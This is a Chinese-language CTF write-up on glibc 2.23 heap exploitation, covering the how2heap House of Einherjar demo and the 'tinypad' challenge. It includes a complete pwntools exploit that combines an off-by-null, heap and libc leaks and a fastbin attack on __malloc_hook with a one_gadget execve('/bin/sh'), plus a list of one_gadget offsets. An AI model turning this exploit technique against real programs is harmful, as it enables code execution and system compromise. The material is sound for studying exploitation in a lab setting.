0xf1147 execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL
req = dest - old_top - 4*sizeof(long)
fastbin addree to size: (offset_to_fastbinY/8+2)<<(4 or 3)
largebin chunksize:0x410|0x450|0x490|0x4C0...
'''

how2heap - house_of_einherjar&tinypad

ubuntu16.04 libc2.23

house_of_einherjar.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

/*
Credit to st4g3r for publishing this technique
The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak.
*/

int main()
{
fprintf(stderr, "Welcome to House of Einherjar!\n");
fprintf(stderr, "Tested in Ubuntu 16.04 64bit.\n");
fprintf(stderr, "This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");
fprintf(stderr, "This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

uint8_t* a;
uint8_t* b;
uint8_t* d;

fprintf(stderr, "\nWe allocate 0x38 bytes for 'a'\n");
a = (uint8_t*) malloc(0x38);
fprintf(stderr, "a: %p\n", a);

int real_a_size = malloc_usable_size(a);
fprintf(stderr, "Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);

// create a fake chunk
fprintf(stderr, "\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n");
fprintf(stderr, "However, you can also create the chunk in the heap or the bss, as long as you know its address\n");
fprintf(stderr, "We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
fprintf(stderr, "(although we could do the unsafe unlink technique here in some scenarios)\n");

size_t fake_chunk[6];

fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
fake_chunk[2] = (size_t) fake_chunk; // fwd
fake_chunk[3] = (size_t) fake_chunk; // bck
fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize


fprintf(stderr, "Our fake chunk at %p looks like:\n", fake_chunk);
fprintf(stderr, "prev_size (not used): %#lx\n", fake_chunk[0]);
fprintf(stderr, "size: %#lx\n", fake_chunk[1]);
fprintf(stderr, "fwd: %#lx\n", fake_chunk[2]);
fprintf(stderr, "bck: %#lx\n", fake_chunk[3]);
fprintf(stderr, "fwd_nextsize: %#lx\n", fake_chunk[4]);
fprintf(stderr, "bck_nextsize: %#lx\n", fake_chunk[5]);

/* In this case it is easier if the chunk size attribute has a least significant byte with
* a value of 0x00. The least significant byte of this will be 0x00, because the size of
* the chunk includes the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0xf8);
int real_b_size = malloc_usable_size(b);

fprintf(stderr, "\nWe allocate 0xf8 bytes for 'b'.\n");
fprintf(stderr, "b: %p\n", b);

uint64_t* b_size_ptr = (uint64_t*)(b - 8);
/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/

fprintf(stderr, "\nb.size: %#lx\n", *b_size_ptr);
fprintf(stderr, "b.size is: (0x100) | prev_inuse = 0x101\n");
fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
a[real_a_size] = 0;
fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
fprintf(stderr, "This is easiest if b.size is a multiple of 0x100 so you "
"don't change the size of b, only its prev_inuse bit\n");
fprintf(stderr, "If it had been modified, we would need a fake chunk inside "
"b where it will try to consolidate the next chunk\n");

// Write a fake prev_size to the end of a
fprintf(stderr, "\nWe write a fake prev_size to the last %lu bytes of a so that "
"it will consolidate with our fake chunk\n", sizeof(size_t));
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

//Change the fake chunk's size to reflect b's new prev_size
fprintf(stderr, "\nModify fake chunk's size to reflect b's new prev_size\n");
fake_chunk[1] = fake_size;

// free b and it will consolidate with our fake chunk
fprintf(stderr, "Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
free(b);
fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);

//if we allocate another chunk before we free b we will need to
//do two things:
//1) We will need to adjust the size of our fake chunk so that
//fake_chunk + fake_chunk's size points to an area we control
//2) we will need to write the size of our fake chunk
//at the location we control.
//After doing these two things, when unlink gets called, our fake chunk will
//pass the size(P) == prev_size(next_chunk(P)) test.
//otherwise we need to make sure that our fake chunk is up against the
//wilderness

fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk\n");
d = malloc(0x200);
fprintf(stderr, "Next malloc(0x200) is at %p\n", d);
}

通篇下来最重要的两点在size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);fake_chunk[1] = fake_size;

代码通过模拟漏洞修改了b的prev_inuse位为0,此时再free(b)的话就会触发向后合并,而向后合并时合并的chunk是由prev_size得到的,当我们把prev_size改成了b's chunk header-fake_chunk's heder,就会在fake chunk处触发unlink从而导致fake_chunk被合并,而且此时由于紧邻top_chunk,top_chunk就直接被改到我们栈上fake_chunk处去了,再malloc的时候就可以把我们那块fake_chunk malloc出来

某种意义上来说这个好像也和house of force一样?是通过利用topchunk从而malloc出我们想要的地址来,(代码中写到的If it had been modified, we would need a fake chunk inside b where it will try to consolidate the next chunk,就是说如果我们在溢出的时候把size大小更改了,比如从0x101改成0x100,再去进行操作的时候由于此时得到的nextchunk在被更改chunk的内部,所以我们需要能够写到这个地方修改出一个假的chunk头才能不报错)

不过我有一点没弄明白:fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size,因为在这里设置了新top chunk之后好像没必要改这个prev_size?就算把这步操作改成0也还是一样达到了效果,所以这里好像有一个疑点(后来发现只是我单纯的把这个理解成设置top_chunk了,但其实这个利用说白了就是修改prev_size还有chunk的inues位,用来oevrlap chunk也是一样的用法)

….感觉慢慢熟悉起堆来之后就不想写debug了23333,因为稍微进GDB看一下就能弄清楚了,所以也是直接撸题吧

tinypad

程序有很多小函数,这里就不做分析了,直接分析主要的逻辑或有漏洞的逻辑

程序分析

read_until

1583305845380

其中当i=len的时候,a1[i]=0的操作下标越界,可能会产生off_by_null

Add

1583304338827

首先从四个memo中获取一个size段为空的下标,然后malloc(size),size为10x100之间,对应的chunk也就是在0x200x110之间,然后根据存在bss的指针读入size的数据

delete

1583304560937

这里如果读入的下标是1对应数组下标0,判断对应处size是否为零,然后free掉ptr之后把size置零,没有把ptr置零

edit

1583304758155

edit稍微有点意思,因为我们的mome每次做操作都是从+16的位置开始的,开始的时候我没看懂这个是什么意思,后来在edit这里发现这个前面32*_QWORD的空间是用来当缓冲区的,edit之前先把下标对应的chunk中的内容用strcpy拷到memo缓冲区中去,然后用strlen获取缓冲区的长度,并将这段长度的内容输出,接着再通过strlen获取对应chunk中字符串的长度,然后read到缓冲区中去

Exploit&漏洞分析

漏洞应该比较明显了

  1. read_until的off_by_null
  2. 由于每次程序的显示是通过ptr是否为空来判断是否需要输出的,但是由于清除的是size,所以每次都会输出…直接leak各种base
  3. 结合上面的使用house_of_einherjar即可,不过我才知道这个用法原来是只要修改了prev_size然后用就好23333,本来以为是专门用来设置top_chunk的,不过也确实说明了prev_size确实可以改的很大,这是我之前在写题的时候没有想到的

有了漏洞思路之后我的做法大致就是,先malloc四个memo,然后泄露出libc和heap之后再把这几个全部free掉,用于重新构造利用的chunk结构

再次构造的时候大概就是这样:

0x101 0x71 0x101
填上自身指针用于unlink 用于fastbin attck、填上prev_size,还有off_by_null 修改这个chunk的prev_inuse位

free的时候就会直接把这三个全部都放到top_chunk里面去了,还有一个overlap的0x70 fastchunk

后续就是常规的fastbin attack了

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = './tinypad' #binary's name here
context.binary = binary #context here
context.log_level='debug'
pty = process.PTY
p = process(binary, aslr = 1, stdin=pty, stdout=pty) #process option here
'''
Host =
Port =
p = remote(Host,Port)
'''
elf = ELF(binary)
libc = elf.libc

my_u64 = lambda x: u64(x.ljust(8, '\0'))
my_u32 = lambda x: u32(x.ljust(4, '\0'))
global_max_fast=0x3c67f8
codebase = 0x555555554000
def loginfo(what='',address=0):
log.info("\033[1;36m" + what + '----->' + hex(address) + "\033[0m")

# todo here
def add(size,content):
p.recvuntil('(CMD)>>> ')
p.sendline('A')
p.recvuntil('(SIZE)>>> ')
p.sendline(str(size))
p.recvuntil('(CONTENT)>>> ')
p.sendline(content)
def free(idx):
p.recvuntil('(CMD)>>> ')
p.sendline('D')
p.recvuntil('(INDEX)>>> ')
p.sendline(str(idx+1))
def edit(idx,content):
p.recvuntil('(CMD)>>> ')
p.sendline('E')
p.recvuntil('(INDEX)>>> ')
p.sendline(str(idx+1))
p.recvuntil('(CONTENT)>>> ')
p.sendline(content)
p.recvuntil('(Y/n)>>> ')
p.sendline('Y')

add(0xf0,'a'*0xf0)#0 0x100 chunk
add(0x100,'b'*0x100)#1 0x110 chunk
add(0xf0,'c'*0xf0)#2 0x100 chunk
add(0x100,'d'*0x100)#3 0x110 chunk
free(2)
free(0)
p.recvuntil('CONTENT: ')
heap_base=my_u64(p.recv(4))-0x210
loginfo('heapbase',heap_base)
p.recvuntil(' # INDEX: 3')
p.recvuntil('CONTENT: ')
libc_base=my_u64(p.recv(6))-0x3c4b78
loginfo('libcbase',libc_base)
free(3)
free(1)#clear

#construct again
add(0xf0,p64(heap_base)*2+'\x00'*0xe0)#0 0x100
add(0x68,'\x00'*0x68)#1 0x70
add(0xf0,'\x00'*0xf0)#2 0x100

free(1)
add(0x68,'\x00'*0x60+p64(0x170))#set prev_size + off_by_null
free(2)#Merge all

free(1)#set to fastbin first
#(0,,,)
add(0xe0,'\x00'*0xe0)
#(0,1)
add(0xf0,(p64(0)+p64(0x71)+p64(libc_base+0x3c4aed)).ljust(0x70,'\x00')+p64(0)+p64(0x101)+'\x00'*(0xf0-0x80))#fill fakesize0x101 for check by free
#(0,1,2)
add(0x60,'\x00'*0x60)
#(0,1,2,3)
free(0)
#(,1,2,3)
add(0x68,'\x00'*0x13+p64(libc_base+0xf02a4))
#(0,1,2,3)
#gdb.attach(p,'b *0x400c12')
free(3)
p.recvuntil('(CMD)>>> ')
p.sendline('A')
p.recvuntil('(SIZE)>>> ')
p.sendline('1')


p.interactive()
'''libc 2.23 x64
0x45216 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)constraints: [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL
req = dest - old_top - 4*sizeof(long)
fastbin addree to size: (offset_to_fastbinY/8+2)<<(4 or 3)
largebin chunksize:0x410|0x450|0x490|0x4C0...
'''